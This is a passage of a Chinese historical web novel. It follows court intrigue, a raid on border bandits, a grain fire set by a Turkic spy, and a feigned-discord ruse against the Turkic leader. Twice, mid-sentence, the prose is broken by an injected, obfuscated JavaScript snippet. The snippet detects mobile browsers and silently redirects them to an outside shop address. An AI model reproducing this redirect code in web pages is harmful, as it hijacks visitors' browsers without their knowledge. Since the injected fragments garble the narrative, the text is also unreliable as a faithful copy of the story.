数月来的折磨让他们瘦了不少,身上的囚服落满了斑斑点点的血迹。 “说不说!说不说!”手起鞭落,血迹飞溅。 就这么打了小一柱香的时间,贺沅安和贺凭舟也就这么站在隔间观刑。 贺沅安自进了牢房,眉头便一直未舒展开来,他心思百转千回,隐约思考出了贺凭舟这么做的缘由。 恐怕是方才在舒元宫,他和昭文帝谈论贺凭舟,贺凭舟听了去,于是故意借机将他带到这里来—— 杀鸡儆猴。 贺沅安不得不承认,贺凭舟此人心思深沉更甚他自己,又睚眦必报,稍有不慎,必定会被吞食个干净。 他忽然心里涌现出沁心的凉意,眸色沉了下来。 若是让莲玉荇知道他和贺凭舟一起拷打莲家众人,指不定又将这笔账算在他的头上。 贺凭舟这是执意要将他拉下水。贺沅安暗暗咬牙,心里冷笑不止。 行刑人停下动作,走到贺凭舟面前恭敬道:“回禀王爷,二人嘴硬得很,什么都没说。是否要继续拷打?” “……”贺凭舟垂着眼,不知道在想什么,始终没开口。 方才行过刑罚,牢房里血腥味扑鼻扑面而来,熏得贺沅安脑袋发昏,不过他仍旧清醒。 他想,贺凭舟这时候不说话,是想让他来做决断吗?还是想进一步试探他? 贺沅安说不清楚,心里隐约有了一个答案。 “走吧。”贺沅安摆摆手让他离开,方才抬眸正视贺凭舟,两人四目相对,都看清了对方眼底的算计和猜疑。 “皇叔。”贺沅安开口叫他,“侄儿的目的早已经达到,按理说早该抽身离去,但不知为何和皇叔的瓜葛却越来越多了。” 贺沅安语气平直,像在平静叙述一件事实,叫人生不起气来。 “侄儿这是何意啊?我们本来便是血浓于水的亲人。”贺凭舟忽然笑开了,一张面孔慈祥又和善。 “……”贺沅安理了理乱了的衣袖,意味深长,“从今日起,侄儿便自觉和皇叔保持距离,以免引得父皇猜忌。再者,皇叔也不必在心存算计,处处试探了。” 试探之意昭然若揭,贺沅安不想再和贺凭舟勾心斗角,索性借此划开距离,各自相安为好,回到从前那般。 贺凭舟笑意更深了,颔首同意,“既然侄儿执意如此,皇叔哪有阻拦的意思。” “来人。”贺凭舟淡淡道:“牢狱里多脏污血迹,送端王殿下回府沐浴更衣。” 答应得这般爽快?贺沅安心有疑窦,不着痕迹地打量着他,“多谢皇叔。” 牢房门一扇扇打开,贺沅安的身影渐渐淡出视线,贺凭舟喟叹一声,意味不明。 有人悄声走进隔间,“主子就这么放他走了?” “不然还能如何?”贺凭舟将擦手的帕子随意扔到地上,觑他一眼,“让本王给他下毒药,又或者绑在身边,为本王所用吗?” 贺凭舟哼笑。 与虎谋皮,怎么可能轻易扯清瓜葛。 还是太年轻,太天真。 “主子,边关暗探来报,边关粮草欠缺,已经快马加鞭往京都送奏折求粮草,算算日子,三日后便该到了。” 那人将密报呈上,牢房里昏黄的投射到他的脸上,一张沧桑的面孔显露出来。 若是贺砚随或者莲玉荇在这里,必定能认出,这人便是平城私盐案被连坐贬谪的御史大夫。 如今竟然认八王爷贺凭舟做主人,怎么说都令人唏嘘不已。 “哦?竟这么快。”贺凭舟眼神紧了紧,而后舒展开来。不过也好,这样他的计划便可以提前进行了。 贺凭舟:“传本王的令,命运粮官钱敏押送粮草至边关,不得有误。” 养兵千日,用兵一时,燕州侍卫营里的死士可等不及了。 39. 夜袭 夕阳洋洋洒洒落下,一望无垠的大草原上,两匹马一前一后奔腾向远方。 “驾!” 马蹄声哒哒,乌发被高高束在头顶,随风飘扬几缕发丝。 莲玉荇单手持缰绳,往后看了看,贺砚随不远不近跟在身后。 她勾唇浅笑,拽紧了缰绳,策马由缰。 不知过了多久,马儿的速度降了下来,莲玉荇和贺砚随翻身下马,随意地坐在草地上。 三天前大军到达燕州地界,驻扎在幽州城外,贺砚随命士兵们休息整顿。 今日得闲,贺砚随便带着莲玉荇出来散散心,好过整日窝在营帐里排兵布阵,伤了身体。 只是一时不察,竟不知不觉来到了突厥部族和大晋朝的边界。 莲玉荇显然也发现了,聚精会神眺望着辽阔星河和草原,更远处还有点点灯火一闪而过。 原来边界地带是这个样子的。莲玉荇眼睛微微睁大,不像燕州、河西那般争斗动乱不堪,还算和平,景色也不错了。 “好像很少有突厥人在此生活,这是为何?” 像是看出她在想什么,贺砚随指了指远方,旋即看向莲玉荇,给她解答:“在突厥部族之中,常常会因为争抢资源大打出手,后来突厥部族便出现了一群凶神恶煞的流寇。” “这群流寇经常活跃在两国边界,靠抢夺一些来往商人和突厥百姓过活,商人苦其久矣,心里苦不堪言,但是毫无办法,边界的突厥百姓则直接搬走了。” 莲玉荇若有所思:“原来如此,那朝廷便放任他们这样作为?” “非也。”贺砚随说道:“因为有利可图,这伙流寇的队伍越来越大,还招揽了很多三教九流,突厥人和大晋人都有,十分狡猾……” 贺砚随:“加上地界偏僻,又是边境,就怕一不小心又起战事。” 所以便是朝廷不断派人来镇压,也没有什么明显的效果。莲玉荇不禁感慨,还真是山高皇帝远,猴子称霸王。 这般想着,一阵突兀的马蹄声越来越近,莲玉荇瞬间警觉起来,伸手拉着贺砚随的手蹲下,借着夜色掩藏在杂乱草丛之中。 一队人驾着马奔腾而过,带起呛人烟尘,为首之人一身突厥服饰,嘴里念念有词,似乎是在催促着什么。 贺砚随和莲玉荇四目相对,默不作声。 方才她还和贺砚随谈论这这伙流寇,此刻便出现在了这里,还真是说曹操曹操到。 过了许久,流寇的身影随风远去,莲玉荇扒开草堆站了起来,下一瞬,温热的手掌覆上她的额头。 莲玉荇被吓了一跳,下意识后退了一步。 “……怎么了?”莲玉荇气息有些不稳,问他。 贺砚随嘴角噙着笑意,将掌中之物摊开来,赫然是一根泛黄的杂草。 莲玉荇哑然,不自在地移开了眼睛。 两人之间的气氛一下变了,若有若无得粘腻。 贺砚随还想说什么话逗逗她,不远处草丛处有什么声音越来越近,贺砚随眼神突变,伸手将莲玉荇捞到身后,厉声喝道:“什么人?!” 周遭寂静无声,贺砚随身体紧绷着,就连身后的莲玉荇都察觉到他的情绪,心里不由得紧张起来。 手腕微动,莲玉荇悄然把腰间的匕首握在手里,盯着密密叠叠的草丛,眼神机警。 方才他们亲眼看到流寇离开,难道是流寇发现了她和贺砚随,所以去而复返? 一个两个还好,要是人多的话,她和贺砚随不一定对付得了。 莲玉荇心里猜测不断,手中的匕首握得更紧了,贺砚随似乎察觉到了她紧绷的情绪,一只手往后背着,用指节敲了敲她。 莲玉荇愣了片刻,情绪舒缓了几分,不过窸窸窣窣的声音又出现。 莲玉荇凝神聚气,越过贺砚随往前一步,想要看清楚是谁在装神弄鬼,贺砚随怔了怔。 忽然“砰”地一声,黑衣男子探出草丛,一整个趴在地上,姿势狼狈又滑稽,原本戴在脸上的面巾掉落了一半,模样清秀。 “咦?”莲玉荇觉得面前的人很是熟悉,她眉头紧皱,借着月色细细打量着男子,总觉得在哪里见过。 黑衣男子大概也觉得尴尬,半晌趴在地上一动不动,好一会儿才动弹了一下。 不会摔死了吧?莲玉荇和贺砚随心里不约而同涌现出这个想法。 还未等松一口气,男子忽然从地上蹿了起来,站定以后,他用手拍了拍袍子上的灰尘,脸上泛着扭曲又尴尬的神情。 莲玉荇不禁疑问,这是那群流寇之一?总感觉不太像。 见莲玉荇紧紧盯着男子,没有丝毫移开的迹象,贺砚随脸色变了变,咳嗽了一声,等到莲玉荇重新将视线放在他身上,才看向男子,厉声道:“你是什么人?为什么跟在我们身后,又为什么在暗中窥视?” 男子不答,一双眼径直看向莲玉荇,拱手道:“参见姑娘。” 电光火石间,莲玉荇终于在脑海里找到一缕线索,她知道在哪里见过这人了! 莲玉荇恍然大悟:“你是闻人秀身边的侍卫!” “在下名唤曹声。”曹声说道:“方才是在下冒犯,惊扰了姑娘和端王殿下,还望恕罪。”说着又躬身行礼。 闻人秀这是谁?贺砚随望向莲玉荇,询问的意思十分明显,莲玉荇无声说话,贺砚随立即会意。现下有旁人在场,确实不方便多说,不然他倒是要看看这闻人秀是何方神圣。 贺砚随心里不爽,面上没表现出来半分,自觉退避到远处,让二人能够自在畅谈。 “无妨。”莲玉荇摆手,“不过你怎么出现在这儿?是闻人秀有事找我?” 曹声视线在贺砚随和莲玉荇身上转来转去,有些犹豫。 莲玉荇一眼看穿他的心思,“端王是我至交好友,有事直说无妨,而且他离我们这么远,不一定听得到。” 曹声放下心,开口道:“早些年芜阁曾在晋朝和突厥部族之间做生意,但后来战乱四起、流寇泛滥,百姓流离失所,芜阁当时势力尚浅,便没能在此建立据点。” “听闻河西郡被收复,阁主准备在两国边境重新建立据点,接待来往商人,接收情报。” “我一路追着这群流寇的踪迹,看能不能得到点有用的情报,没想到在这儿遇上了姑娘。” “是个好主意。”莲玉荇颔首,面露欣赏之色,闻人秀也是个胸有丘壑之人,不然也不会把芜阁发展得这般壮大,“今后若有什么事,可以差人来军营找我。” “多谢姑娘,芜阁众人听姑娘调遣,怎么敢劳烦您。”曹声像忽然想起什么,伸手拍了拍脑袋,从袖口中掏出一片绢帛,“这段时间阁中派了一队精锐前往边关,搜集了一些情报,想来应该对姑娘有用。” 莲玉荇接过曹声递过来的绢帛,嘴唇微抿,而后倏然笑开,她收起绢帛,眼神分外感激。 “这份绢帛可帮了大忙!”莲玉荇喜出望外,曹声也不禁被莲玉荇的情绪感染了,连连称道:“有用便好,有用便好。” 夜风寒凉,方才情绪激动,莲玉荇丝毫没有感受到,等到平复下来,周身便涌现阵阵凉意。 莲玉荇下意识将手抚上臂膀,下一瞬,带着清冽香气的外袍披上了她的肩膀,她诧异地转过身去,贺砚随神色如常揽住她,语气强硬。 “今日时辰不早了,我们也该回去了,这位小兄弟请自便。” 曹声反应过来,赶忙道:“姑娘、端王殿下一路小心,那在下便先行离开,有事姑娘可以凭借芜阁信物调动芜阁中人,告辞!” 有破空声乍然散开,上一刻还在面前的曹声已经不见了身影,只有夜风吹着杂草微动。 莲玉荇不由感叹,好厉害的轻功。 “人早就不见了,阿荇怎么还在看。”贺砚随语气幽幽,模样看起来十分幽怨,活脱脱一副妒夫样。 “我就是觉得他轻功超然卓绝,欣赏罢了。”莲玉荇咳嗽一声,有些心虚。 最近贺砚随醋劲有点大啊。莲玉荇心里暗暗想着,却听得贺砚随问她:“这闻人秀到底是何人?我听方才那小子说话,听起来好像阿荇和闻人秀很熟的样子?” “……说来话长。”莲玉荇喉头忽地一哽。 “还有一事。”贺砚随拉长了语调,像是在故意折磨莲玉荇一般,“阿荇为什么和他说我们是至交好友?我们之间就是至交好友那么简单吗?” “……” 真记仇。 忽然想咬点什么东西了。 ** 突厥和晋朝边界流寇聚集,呼和润就是这群流寇的首领,他头脑了得,身强体壮,深受流寇们的拥戴。 他们在呼和润的带领下,抢夺来往商队,日积月累,实力也不容小觑。 就连部族和晋朝都派人来镇压过他们,无一败退而归。 他得到消息,今日淩河附近有一支来自晋朝朝廷的商队,故而他带着人跋山涉水前往,终于追上了商队。 晋朝商队沿路有士兵保护,好在他们来势汹汹,打了晋朝商队一个措手不及。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430474|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽有零星损失,好在收获颇丰,一群人带着抢来的东西,三两个路上遇到的妇人,浩浩荡荡回营地。 呼和润:“今日兄弟们都辛苦了,哈布日,让人宰几头壮羊,给兄弟们补补身子!” 哈布日豪爽一笑,吩咐下去。 奔波了一天一夜,可算能休息片刻了。呼和润径自回了营帐,刚踏进营帐,纵横草原多年的直觉让他感觉到了危险,脚下瞬间调转了方向,刚想大声呼救,一双强悍如坚硬铁器的大掌迎面便狠狠掐住了他的喉咙。 腹部被人用刀抵住,仿佛只要他动一下,锋利的刀尖就能捅穿他的肚皮。 一片茫茫黑暗中,呼和润清楚看到,两个一高一矮的男人擒住了他,额头上的汗簌簌落下,背后凭空升起一股凉意。 呼和润想不通,他们是怎么找到这里来的? 他生来谨慎,营地里巡逻的人里三层外三层,怎么会被人钻了空子。 回应他的只有营帐外接二连三的倒地声、惊呼声,呼和润嘴唇彻底白了。有人掀开营帐进来通报:“将军,外面的流寇已悉数被我们控制,您和楚军师快出来吧。” 蜡烛被点上,方才进来的士兵已经将呼和润手脚紧紧绑住,呼和润这才看见挟持他的两人是什么模样。 他哆嗦着声音,问:“你们究竟是什么人?” 莲玉荇收了匕首,嗤笑:“行不更名,坐不改姓,我们啊……是你祖宗!” …… 擒贼先擒王,莲玉荇得到曹声带来的情报之后,便和贺砚随带着人来流寇的营地蹲守。 也是那呼和润没有想到会有人闯进营地,失了防备,不然他们不会那么容易拿下众多流寇。 出了营帐,莲玉荇侧头看向贺砚随,道:“听说呼和润这些年带着人搜刮掠夺了东西,我们去看看。” 贺砚随颔首,二人并肩而行,到了地方,脸上惊讶的样子也分外相似,在场的众人亦是这副模样。 沈副将清点完粮草,快步来到莲玉荇和贺砚随面前,虽然极力压制,还是能听出他语气里的激动。 “贺将军、楚军师,没想到这里竟然有这这么多的东西,牛羊马匹、粮草补给应有尽有。”沈副将笑道。 莲玉荇微微一笑,“这下算是解了燃眉之急,有了这些东西,将士们就能安心打战了。” 收拾完营地的粮草补给,贺砚随便下令返回军营,稍远处的营帐后面一抹身影一闪而过,莲玉荇机敏非常,看过去又什么都没了。 奇怪。莲玉荇挑眉,应该是她想多了。 …… 军营里的将士们一早便得知缴获粮草的事情,士气都振奋了不少,要不是碍于袁副将还有严明军纪,一个个兴奋万分,都想要亲自去押运粮草。 “楚军师太厉害了,竟然想到提前埋伏流寇!” “神机妙算啊,楚军师真是洞察世事!” “多谢楚军师!” “多谢贺将军!” “时候不早了,将士们快去休息吧,养精蓄锐,明日便能饱饱吃上热乎饭了。”将士们七嘴八舌说着夸赞之语,莲玉荇耳根渐渐红了,脸上却波澜不惊,淡淡道。 “是!谨遵教诲!”将士们齐声应了,袁副将站在旁边,嘴唇微动,看样子是想说什么。 将士们散去了,莲玉荇他们准备回营帐再商讨一下攻打燕州的策略,袁副将不知道什么时候站到了他们身边,“将军、楚军师可否带袁某一个?” “当然。”贺砚随和莲玉荇异口同声地说。 袁副将不动声色,跟在两人身后进了营帐。 夜渐渐深了,营帐内烛火摇曳,偶有说话声传出营帐外,传到守夜的士兵耳朵里,不由得想,有这样的人才,真是大晋朝的天运。 这样平静祥和的场景并没有维持多久,便被一场突如其来的火给打破了。 士兵神色慌张跑过来,被守卫的士兵拦住,“将军在和袁副将、楚军师商讨要事,有何要事?” “出大事了!”士兵慌张不已,“粮草帐起火了!” 显然营帐内的三人听到了士兵的话,匆匆走出来,将领们快速聚集到了主帐外,脸色凝重。 粮草运回来没多几个时辰,现下便起火了,天底下哪里有这么巧的事情。 贺砚随很快控制住局面:“封锁军营,不准任何人进出,军营外三里地细细搜索,不放过任何一个可疑的人。” 不管什么魑魅魍魉,敢在他眼皮子耍心机,便叫他有去无回。 40. 设局 袁副将原先对楚行心怀偏见,他心里觉着,就这么一个身材跟竹杆儿似的小白脸,能有多大的本事。 故而行事总带着偏见,对楚行态度一般,言语里夹枪带棒,暗含试探。 直到后来,他们在甘州城主府一番争论过后,贺将军吩咐他去城主府库查看,他这才知道,甘州城主逃命时将府库里的东西悉数带走了,就算他们执意留在城主府,也没剩多少粮草补给了。 到时候士兵饥肠辘辘,难保做出什么极端之事,酿成大祸。 那时他便对楚行有所改观,暗中观察他的一举一动,挥戈纵横。发现楚行身虽瘦弱,胸中却有沟壑,叫他不由得期待楚行下一步会做出什么决定来。 今日若不是楚行及时发现流寇行踪,当机立断带着精兵前去蹲守埋伏,将流寇所在的营地一举歼灭,他们不可能缴获这么多粮草,解决燃眉之急。 袁副将心里欣喜,更多的是佩服,却不好意思当着人前表现出来,于是厚着脸皮跟在他们身后进了主帐。 他恭敬行礼,楚行便礼尚往来,让他不禁心生歉疚。 “楚军师,先前是末将心胸狭隘,以貌取人,做了许多蠢事,还请楚军师不要见怪。”袁副将如是说。 他提心吊胆,十分忐忑,平日里胆大豪迈的副将,在楚军师面前竟然生出些许胆怯。 怕他不肯原谅,又怕他取笑自己。 没想到楚行姿态不卑不亢,耐心安抚他,消了他心里的疙瘩。 …… 眼前一片火光滔天,场面一度嘈杂纷乱,袁副将眼底有焰火跳跃,眼神分外复杂。 明明方才三人还在营帐里仔细商讨攻打燕州的计划,一霎那天翻地覆,原本可以带来生机的粮草眨眼间化为灰烬,烧尽众人心中的期待,烧起众人心中的怒火。 袁副将愤愤不已,只能将木桶里的水狠狠泼向那一片火红。 老天薄待之! 老天薄待之! ** 火势渐渐被压了下来,灰烟直冲着往天上去,随着一桶水落下,粮草帐里最后一点火星被彻底扑灭。 众人神情沮丧,时而抬头看天,时而垂头看地,都不约而同地噤声,像是无声控诉着什么。 莲玉荇忽然觉得脸上一凉,仰头往天上看,才发现不知何时下起了淅淅沥沥的雨,一点一点砸在人脸上、心上。 老天真是爱开玩笑。莲玉荇苦笑,嘴唇微颤,方才火势大时不见分毫雨水,现下却下雨了,隐隐有变大的迹象。 从流寇营地缴获的粮草、皮毛被烧了一大半,牛羊受了惊四处逃窜,拢共没剩下几只。就算加上之前剩下的粮草,约莫着撑不过半个月。 正所谓屋漏偏逢连夜雨,就这寒凉的边关秋雨,也能将将士们压垮了,加上朝廷押送的粮草辎重还未到达军营,保暖尚未有着落。 这该如何是好?莲玉荇忧心忡忡。 这副模样很快落在了贺砚随眼中,他眼眸浮沉,不知道在想些什么。 “将军!奸细抓到了!属下带着一众兄弟沿途搜索,还真发现了漏网之鱼。”气氛萎靡颓废之际,莲玉鹤带着一队士兵押送着几个高挑瘦弱的男子进了军营,拱手震声道:“该如何处置他们,还请将军示下!” 莲玉荇越过人群看向莲玉鹤,一身污血浊泥,方才必定和这伙奸细费劲搏斗了一番,不知道有没有受伤。眼中的担忧一闪而过。 莲玉鹤似乎察觉到了什么,往莲玉荇所在的方向递了一个安抚的眼神。莲玉荇和莲玉鹤四目相对,心下放松了几分,眼波微动,旋即望向贺砚随。 还未等贺砚随开口说话,一时间群情激愤,士兵中起了喧哗,众多士兵蜂拥上前,恨不得将这伙奸细剥皮抽筋、食血啖肉。 “杀了他们!杀了他们!” “没有粮草大军几乎寸步难行,这是存心要致我们于死地啊!其心可诛!” “突厥人素来爱使一些见不得人的下作手段,只可惜了辛苦得来的粮草……” “将军万万不可放过这伙杂碎!” “……”平日里冷静沉稳的沈副将也待不住了,怒发冲冠,撸起袖子就要上手,被莲玉鹤眼疾手快挡了回去,却没挡住动作迅速的袁副将。 “诶?!袁副将莫要冲动!”莲玉鹤面色微变,虽说这伙奸细罪孽深重,可要是袁副将动了手,怕是非得将人废了。 袁副将怒意横生,“这伙杂碎胆大包天,竟将粮草如此糟蹋,我非撕了他们!” 袁副将还未靠近,剑柄便直直横在了他的胸口处,不准他上前半步。 “将军……”袁副将一愣。 贺砚随缓缓抬眸,眸色冰冷沉郁,与平时大不相同,模样看上去不怒自威。 气氛凝滞,只有秋雨落个不停,腥浑的雨水落进嘴里,苦涩至极,袁副将在贺砚随饱含威压的眼神注视下,下意识退后了一步。 他清楚知道贺砚随已然动怒,是他僭越了,堂堂副将不做好将士们的表率,反而带头聚众闹事,违反军纪,这是大不敬之事! 袁副将脸上闪过懊悔之色,意识到自己做了什么蠢事,一时间不知作何反应, 眼看着袁副将偃旗息鼓,满腔激愤的士兵也渐渐冷静下来,面面相觑,僵立在原地。 “……” 几息之后,贺砚随收了剑,一双狭长的眼将偌大的军营扫视了一遍,呵斥道:“俘虏奸细自有军法处置,哪里由得你们乱来!方才扰乱军纪、聚众闹事的,自去领十军棍!” 贺砚随一令既出,袁副将和沈副将利落脱了上衣,顶着雨水往行刑处走去,众多士兵不敢违背军令,各自领罚去了。 只能粮草被烧,满腔怒火不得舒展,还要被打十军棍,怕是心中会有怨言。 这点正是莲玉荇担心的,若不好好解决此事,在军中落下口舌嫌隙,军心涣散也是有可能的。 只能等朝廷辎重送到再补偿一番。 “如今粮草被烧,军中粮草急缺,将军可有应对之法?”莲玉荇随手拂去脸上的水珠,问道。 “为今之计,只能寄希望于朝廷押送的粮草了。”贺砚随眉眼间藏着愁绪,眉峰压得很低,“前几日已遣人往驿站送信询问,还未得到确切消息。” 流寇的营地已经被他们搜刮干净,一点一滴都没剩,短时间内,不知道如何才能补上缺失的粮草。 莲玉鹤垂头不语,片刻后忽地开口道:“不如请军中将士们进帐一同商议,看看如何解决粮草短缺问题,也能消除方才导致的误会,贺将军以为如何?” “嗯。”贺砚随思虑片刻,点了点头,旋即让人请袁副将他们进主帐商议要事。 袁副将一行人接受了军棍责打,还没来得及换一身衣裳,便被请进了主帐,显得格外狼狈,雨水混着血水扑鼻而来,血腥味久久萦绕不散。 沈副将还想行礼,被贺砚随拦了下来,“诸位将领身上带着伤,便不必行礼了,坐吧。” 军帐内一时寂静无声,没人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430475|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿意打破这令人窒息的气氛。 良久之后,前去驿站打探的探子挑开军帐帘子,跪在地上,向众人通报得到的消息。 “启禀将军!朝廷已经派人往边关押送粮草,只是最近天气诡谲,秋雨连下了几天,粮车走得困难。”士兵语气微顿,接着说:“半月前,押送粮草得队伍半月前受到伏击,粮草损失了大半,重新筹措运输也花费了诸多时日,故而迟迟未能送到。” 话音刚落,在场的将领脸色微变,怎么押送粮草得队伍也被袭击了?难道是突厥军队察觉到了什么,想要派兵拦截晋朝的粮草辎重?! 还好侥幸保全了粮草,也算不幸中的万幸…… 可是粮草被劫,再加上还要将粮草筹集后押送到燕州,不知道要到猴年马月。 现在军营里残存的粮草寥寥无几,只能撑半个月左右,而燕州战事尚未有什么大的进展,粮草消耗极大,若是后续粮草仍然短缺,大晋士兵说不定会被突厥困死! 大约是想到了什么可怕之事,众人不约而同变了脸色,莲玉荇将一切收进眼底,抿紧了嘴唇。 “负责押送粮草的是谁?”莲玉荇突兀开口,打破了军帐内的寂静。 探子没想到她会问这个,虽疑惑但不敢隐瞒,“是运粮官钱敏。” 莲玉荇心神一震,下意识转过头,恰好对上了贺砚随的视线,两人都从对方的眼底看到了异样的神色。 钱敏果真出现在了边关,如同前世一般,成了押送粮草的运粮官,而粮草也如同前世那样迟迟不送到。 一股危机感涌上心头,莲玉荇不由得想,既然钱敏出现在边关,说明他们这一步棋走对了。幕后之人派出钱敏,是想借边关战乱趁机除掉他们吧。 所幸她和贺砚随都重生了,能够提前察觉到幕后之人的一些手段,走到这一步,还不算太被动。 她压下眼眸中浮沉情绪,冷静道:“诸位将领也听到了,如今军中粮草被烧,朝廷派出押送粮草的队伍迟迟不到,若是坐以待毙,到最后我们会因为失去粮草而寸步难行,最终被突厥困死。诸位便各自说说自己的想法。” 莲玉鹤率先说话:“如今我军粮草短缺,不能支持长久作战,而燕州地势险峻,易守难攻,粮草消耗必然迅速,而朝廷粮草抵达之日不定。依属下愚见,不如定下一个稳妥计划,以最短的时日拿下燕州……” 沈副将沉默片刻,刚想说什么,一动便牵扯到身后的伤势,不由得倒吸一口凉气,引得袁副将侧目看他—— “……楚兄弟所说虽有道理,可毕竟战场形式变化多端,若是计划失败,不仅不能攻下燕州,或许连夺来的河西也会被抢了去!” 军帐里霎时响起了不同的声音。 “确实是稳妥为好,不能操之过急,沈副将说得对……” “兵行险招,况且迟则生变,楚玉说得也不无道理……” 贺砚随静静听着他们的谈论,沈副将坚持稳妥,而莲玉鹤坚持速战速决,双方各执一词,谁也不让谁,不一会儿便争得面红耳赤,素来平和的莲玉鹤脸色涨红。 “若楚兄弟执意如此,若将军执意如此,沈某无话可说!恕不奉陪!”或许觉得争执无甚意义,沈副将拉着一张黑脸,大步流星出了营帐,只留下一群人留在原地面面相觑。 方才还谈得好好的,怎么变成如今这场面。 没人看见,至黑至暗的军帐处藏着一个不知蹲守了多久的身影,在沈副将出了营帐之后,悄然离去了。 41. 逼问 大晋军队危机四伏,远在遥关的突厥部族却是逍遥自在。 燕州地界地势险峻,易守难攻。突厥军队自河西郡被打退,便顺势退居燕州,遥关、苍夹关都被他们率先占据,即便晋朝军队一路打过来,也不能轻易破关而入。 突厥军队上下有恃无恐。 酒席摆了一夜又一夜,突厥士兵纵马放歌,日子过得极其潇洒,心想晋朝军队真是窝囊,至今未能打到遥关来,还不如趁早受降,免得受刀兵之苦。 湖日查也是这么想的,不过作为突厥部族的首领,他总要保持理智和警惕,以免被晋朝人钻了空子。 湖日查饮酒姿势豪迈,因整晚饮酒,此刻眼底已经有几分醉意,但眼睛里的锐利锋芒令人不敢直视,像草原上最昂扬热烈的鹰。 有人自门外疾步而来,湖日查重重将酒坛扔到桌上,站了起来,伸手擦干净脸上的酒渍。 汉人的酒,终究比不得他们突厥部族的烈性。 “首领,我抓到了一只小兔。” 来人正是湖日查身边的助手哈布日,他笑着将怀里的兔子抱了出来,湖日查扫了一眼,心领神会,转身进了屋内。 哈布日紧随其后,轻掩了雕花木门,“昨日我们的人在晋朝军营里探听到一些消息,连夜送了密信出来,想着事情紧急,我便匆匆赶回来了。” 方才的“小兔”是突厥部族内部设置的暗语,避免重要的信息直接暴露于人前。 看了密信,湖日查眉梢透露出喜色,手指一下下敲着桌面,大笑道:“不枉我们费尽心力在晋朝军队中安插了暗桩,烧毁了他们刚刚缴获的粮草。” “如今他们粮草尽毁,一时间找不到补给,也只能被困死在燕州!”湖日查继续道:“更何况将领反目,军中人心涣散,过不了多久,整个军队就会分崩离析,瓦解溃散。” “首领英明!”哈布日朝湖日查行了大礼。 突厥部族积贫积弱,内部竞争又极为激烈,几个部落为了牛羊争夺流血不休,常常不得安宁。 湖日查率先带着族人攻打汉人地界,抢夺了不少食物和土地,改善了突厥部族的生活。 哈布日由衷敬重首领,跟在湖日查身边出生入死,大事小情都经他的手去办。 哈布日又道:“虽说晋朝军队看上去动乱频生,但是首领还得小心警惕,那个叫楚行的军师手段颇为了得,保不准是他做下的计谋,为的是让首领对他们失去戒心。” “确实有此种可能。”湖日查颔首同意,“哈布日,派人送密信给晋朝军队中的暗桩,吩咐他继续盯着贺砚随和楚行一行人,不得掉以轻心,若是他们有何动向,立马来报。” “是!” 哈布日想起了什么,说道:“地牢里关着的那个汉人一直吵着要见您,您看……” “不用管,你只管做好你自己的。”湖日查似乎回想起了什么恶心的东西,一脸嫌恶。 哈布日领命离开了。 ** 往后半个月,暗桩送了几次密信,信中细细记录了晋朝军营中的动向。 晋军搜寻粮草无果,等待押送朝廷粮草补给。 军中将领反目成仇,冲突渐起,军心涣散。 军师楚行和将军贺砚随大吵了一架,原本定下的两个月内收复燕州计划落空。 …… 越往下面看,湖日查的眼神便越来越幽深,不知道在心里算计着什么。 起初他认为晋朝军中乱象是贺砚随和楚行存心做戏,但是经过最近这段时间探查下来,还真像那么一回事儿。 湖日查心底的疑窦消下去大半,当晚又派遣了一个小队去夜袭晋朝军营。 晋朝士兵行动慌乱,面对他们的突然袭击没有一点防备,俨然是一盘散沙。后来还是在楚行的指挥下,才将不速之客赶走。 而派出去的夜袭小队却没什么损失,怎么出门地,便怎么完好无损地归来了。 这般狼狈无组织,还能打什么仗,看来晋朝败势已定!湖日查心里暗道。 湖日查料想贺砚随他们应该掀不起什么大风大浪,吩咐哈布日再派人盯紧晋朝军营,遥关上下守卫不准松懈。 毕竟,人被逼到了困境,可什么事情都能做得出来。 他倒是不怕贺砚随带着人来强攻遥关,只是还要徒增伤亡,总是不必要。 若是活捉了贺砚随——晋朝的端王,说不定能和晋朝皇帝谈判,多要点粮食和土地。 做完这些,湖日查又命人摆了酒犒劳兄弟们,士气愈发高涨,不少人嚷嚷着要活捉贺砚随。 湖日查说:“今日我们只管喝尽兴,至于那晋朝的端王,往后还有机会!” “好!” “全听首领的!” 应和声、酒碗碰撞声混杂,掩盖了其中夹杂的不太和谐的声响,湖日查眉头一皱,似乎听到了什么,不过很快便被人拉着喝酒去了。 只有院落外的几棵榕树随风摇晃不止。 ** 酒过三巡,湖日查正和手下碰碗对饮,心里莫名升起一股不祥之意,一双眼疯狂眨动。 湖日查动作一顿,扫视着底下祥和一片的场面。他派人层层把守关口,应该不会有什么事儿。 手下察觉到不对劲,便谨慎问道:“首领,可是有何事烦扰,不如今日就到这儿……” 话音未落,一个瘦弱男子满身是血,脚步踉跄地走了进来,仿佛被掐住喉咙,发出的声音嘶哑又难听。 “首领不好了,晋朝军队攻进来了……” “城门口的兄弟们快挡不住了,首领赶快离开!” …… 此话一出,满座哗然。 原本还在痛饮的众人脸色骤变,突厥士兵乱作一团,湖日查手里的酒碗摔在地上砸个粉碎。 他脸色青黑,已经意识到了什么。 尽管他千防万防,还是被贺砚随他们算计了。先前探子带出来的消息,必然是假的,只不过是贺砚随想让他知道的消息罢了! 可此刻不是想这些的时候。 外面杀声震天,湖日查心里知道遥关已经守不住了,当机立断决定舍了遥关,准备带一众突厥士兵退往苍夹关。 